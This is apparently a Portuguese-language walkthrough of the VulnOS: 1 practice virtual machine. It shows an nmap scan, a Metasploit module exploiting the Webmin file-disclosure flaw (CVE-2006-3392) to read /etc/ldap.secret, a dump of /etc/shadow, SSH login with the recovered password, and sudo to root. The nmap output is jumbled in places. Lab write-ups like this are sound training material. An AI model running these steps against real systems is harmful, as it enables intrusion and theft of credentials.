## VulnOS: 1

IP da máquina: 192.168.56.112 // MAC: 08:00:27:43:06:19

## Resultados do nmap:

nmap -sS -sV -O -p- -v 192.168.56.112

```
22/tcp
           open
                               OpenSSH 5.3pl Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp
           open
                  telnet
                               Linux telnetd
25/tcp
                               Postfix smtpd
           open
                  smtp
53/tcp
           open domain
                               ISC BIND 9.7.0-P1
80/tcp
                 http
                               Apache httpd 2.2.14 ((Ubuntu))
           open
110/tcp
                               Dovecot pop3d
           open
                 Eqoq
                               2 (RPC #100000)
111/tcp
           open rpcbind
           open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open imap Dovecot imapd
139/tcp
143/tcp
389/tcp
           open ldap
                               OpenLDAP 2.2.X - 2.3.X
           open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) open exec netkit-rsh rexecd
445/tcp
512/tcp
           open login
513/tcp
                               OpenBSD or Solaris rlogind
           open shell
open http
514/tcp
                 shell
                               Netkit rshd
901/tcp
                               Samba SWAT administration server
993/tcp
           open ssl/imaps?
          open ssl/pop3s?
995/tcp
2000/tcp
                               Dovecot timsieved
          open nfs
2049/tcp
                               2-4 (RPC #100003)
          open mysql
open tcpwra
                               MySQL 5.1.73-0ubuntu0.10.04.1
3306/tcp
3632/tcp
                 tcpwrapped
6667/tcp
                               IRCnet ircd
          open irc
8070/tcp open ucs-isc?
8080/tcp open http
                               Apache Tomcat/Coyote JSP engine 1.1
10000/tcp open http
                               MiniServ 0.01 (Webmin httpd)
34921/tcp open status
46201/tcp open mountd
58549/tcp open nlockmgr
                               1 (RPC #100024)
                               1-3 (RPC #100005)
                               1-4 (RPC #100021)
MAC Address: 08:00:27:43:06:19 (Oracle VirtualBox virtual NIC)
```

### Metasploit:

```
Description:

A vulnerability has been reported in Webmin and Usermin, which can be exploited by malicious people to disclose potentially sensitive information. The vulnerability is caused due to an unspecified error within the handling of an URL. This can be exploited to read the contents of any files on the server via a specially crafted URL, without requiring a valid login. The vulnerability has been reported in Webmin (versions prior to 1.290) and Usermin (versions prior to 1.220).

References:

OSVDB (26772)

http://www.securityfocus.com/bid/18744

https://cvedetails.com/cve/CVE-2006-3392/
https://www.kb.cert.org/vuls/id/999601

http://secunia.com/advisories/20892/
```

```
msf5 auxiliary(admin/webmin/file_disclosure) > set rhosts 192.168.56.112
rhosts => 192.168.56.112
msf5 auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
rpath => /etc/ldap.secret
msf5 auxiliary(admin/webmin/file_disclosure) > exploit
[*] Running module against 192.168.56.112

[*] Attempting to retrieve /etc/ldap.secret...
[*] The server returned: 200 Document follows
canuhackme
[*] Auxiliary module execution completed
```

## Usuário encontrado no /etc/shadow:

```
nobody:*:16137:0:99999:7:::
libuuid:!:16137:0:99999:7:::
syslog:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
vulnosadmin:$6$$LXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1W028ljNAPrlXag
hLmo/:16137:0:99999:7:::
sysadmin:admin:16137:0:99999:7:::
```

#### SSH:

Usuário: vulnosadmin // Senha: canuhackme

# root@kali:~# ssh vulnosadmin@192.168.56.112

```
vulnosadmin@VulnOS:~$ id
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin)
,110(sambashare),111(admin),1000(vulnosadmin)
vulnosadmin@VulnOS:~$ uname -a
Linux VulnOS 2.6.32-57_generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
```

## Root:

```
vulnosadmin@VulnOS:~$ sudo bash
[sudo] password for vulnosadmin:
root@VulnOS:~# id
uid=0(root) gid=0(root) groepen=0(root)
root@VulnOS:~# uname -a
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
root@VulnOS:~#
```